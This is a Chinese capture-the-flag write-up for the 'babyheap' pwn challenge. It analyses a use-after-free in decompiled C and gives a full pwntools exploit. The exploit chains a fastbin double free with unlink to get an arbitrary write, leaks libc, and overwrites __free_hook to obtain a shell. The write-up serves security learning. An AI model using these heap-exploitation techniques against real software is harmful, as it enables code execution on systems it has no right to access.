网鼎杯-babyheap

网鼎杯pwn-babyheap

题目链接如下:

链接:https://pan.baidu.com/s/19Imm-V-i71vpEN1mofwOhQ 密码:isek

题目分析

程序提供了下面几种功能:

1
2
3
4
5
6
7
8
9
int sub_4008E3()
{
puts("1.alloc");
puts("2.edit");
puts("3.show");
puts("4.free");
puts("5.exit");
return printf("Choice:");
}

  • alloc:

程序在分配堆时,对分配的数量进行了限制,分配的数量最多为10个。且分配的堆大小为0x20字节,并将得到的指针保存到了bss段上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 alloc()
{
int v1; // [sp+Ch] [bp-24h]@1
char s; // [sp+10h] [bp-20h]@1
__int64 v3; // [sp+28h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( (unsigned int)v1 <= 9 && !*(_QWORD *)&ptr[8 * v1] )
{
*(_QWORD *)&ptr[8 * v1] = malloc(0x20uLL);
printf("Content:", &s);
get_input(*(_QWORD *)&ptr[8 * v1], 0x20u);
puts("Done!");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}

  • edit:

edit对指定下标的堆块进行编辑,但是对编辑的次数进行了限制,最多只能编辑三次,用0x6020b0处的值来计数。

  • show:

显示指定下标处对应的堆块的内容。

  • free:

将指定下标对应的堆块free掉,但是free掉之后未将对应处的值设置为NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 free_1()
{
int v1; // [sp+Ch] [bp-24h]@1
char s; // [sp+10h] [bp-20h]@1
__int64 v3; // [sp+28h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( (unsigned int)v1 <= 9 && *(_QWORD *)&ptr[8 * v1] )
{
free(*(void **)&ptr[8 * v1]);
puts("Done!");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}

漏洞

程序在free后为将指针设置为NULL,导致释放后仍可以往chunk中写入数据

利用思路

程序开启了NX、FULL RELRO以及canary

1
2
3
4
5
6
7
$ checksec babyheap 
[*] '/home/ym/Desktop/ctf/wdb/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

所以不能通过修改got表来控制程序流程。同时分配的chunk的大小是不可控的(chunk大小为0x30),而且程序对分配的次数、对chunk编辑的次数都进行了限制。

利用fastbin attack,首先想到的是double free,利用double free可以分配指定地方的内存,但是需要绕过对chunk size字段的检测,这里在bss段上没有我们能控制的内容。

往bss段上写数据可以采用unlink,unlink只需要我们能够伪造chunk就行。但是这里又有一个问题,为了触发unlink,被free的chunk大小不能在fastbin范围内,而分配的chunk大小全为0x30.

这里将double free和unlink结合起来,利用double free在堆上分配一块虚假的chunk,并编辑该chunk,再利用unlink往bss段上写入数据,往bss段上写数据后就能做到任意地址写入,这样通过将控制编辑chunk次数的字段设置为0就能绕过写入次数的限制了,利用任意地址写入往_free_hook中写入system的地址或是one_gadget即可拿到shell。

在进行double free时需要控制size字段,分配的堆块内容是可控的,只需要知道堆块的地址就可以利用double free,而根据fastbin机制,在free后会在fd字段存储下一个fastbin chunk的地址,这样通过show函数就可以泄露堆的地址了。

利用代码

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context(arch='amd64', os='linux', endian='little')
# context.log_level='debug'
debug=1
if debug:
p = process('./babyheap')

else:
p = remote('106.75.67.115',9999)
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')

def alloc(idx,content):
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content')
if(len(content)<0x20):
p.sendline(content)
else:
p.send(content)


def edit(idx,content):
p.recvuntil('Choice:')
p.sendline(str(2))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content')
p.sendline(content)

def show(idx):
p.recvuntil('Choice:')
p.sendline(str(3))
p.recvuntil('Index:')
p.sendline(str(idx))

def release(idx):
p.recvuntil('Choice:')
p.sendline(str(4))
p.recvuntil('Index:')
p.sendline(str(idx))

# 任意地址写入的函数
def write(target,value):
edit(5,p64(0))
edit(7,p64(target)+p64(0x6020b0))
edit(5,p64(0))
edit(4,value)


payload = p64(0) #fake prev_size
payload += p64(0x31) #fake chunk size
alloc(0,payload) #chunk 0
alloc(1,payload) #chunk 1
alloc(2,p64(0x30)) #chunk 2
alloc(3,'/bin/sh\x00') #chunk 3***
alloc(4,'cccc') #chunk 4
alloc(5,'dddd') #chunk 5

# double free : free阶段
release(0)
release(1)
release(0)
# info leak , leak heap addr
# chunk0->fd = chunk1
show(0)
chunk1_addr = u64(p.recvuntil('Done!')[:-6].ljust(8,'\x00'))
print 'chunk1 addr is:'+hex(chunk1_addr)

# double free : malloc阶段
# use double free to malloc a fake chunk (chunk 0's data)
alloc(6,'aaaa') #chunk 0
alloc(7,'cccc') #chunk 1
# 将chunk0的fd指向chunk1的数据域,该数据域将用来伪造chunk,虚假chunk的size已被设置为0x31
payload = p64(chunk1_addr+0x10)
edit(6,payload) #first edit
alloc(8,'ddddd') #chunk 0
target_addr = 0x602098 # ptr[7]-->chunk 1
fake_fd = target_addr-0x18
fake_bk = target_addr-0x10
# 虚假chunk的值,fake_fd、fake_bk的值用来unlink
# 将chunk2的prev_size设置为0x20,size设置为0x90>max_fast_bin
payload = p64(fake_fd)+p64(fake_bk)
payload += p64(0x20)+p64(0x90)
alloc(9,payload) #fake chunk,size=0x30
# trigger unlink
release(2)

# 往ptr[7]中写入数据即往bss段上写入数据,ptr[4]->elf.got['puts'],ptr[5]->编辑的次数
payload = p64(elf.got['puts']) + p64(0x6020b0)
edit(7,payload) #second edit
# gadget = 0x45216 #condition:rax=0
gadget = 0x4526a #condition:rsp+0x30=NULL
# info leak: leak libc base addr
show(4)
puts_addr = u64(p.recvuntil('Done!')[:-6].ljust(8,'\x00'))
print 'puts addr:'+hex(puts_addr)
base_adrr = puts_addr-libc.symbols['puts']
print 'base addr:'+hex(base_adrr)
free_hook = libc.symbols['__free_hook']+base_adrr
print 'free hook addr:'+hex(free_hook)
system_addr = libc.symbols['system']+base_adrr
print 'system addr:'+hex(system_addr)

# 将free hook覆盖为system地址
# write(free_hook,p64(system_addr))
# # trigger free to run system
# release(3)

# 将free hook覆盖为one gadget地址
write(free_hook,p64(base_adrr+gadget))
release(3)

p.interactive()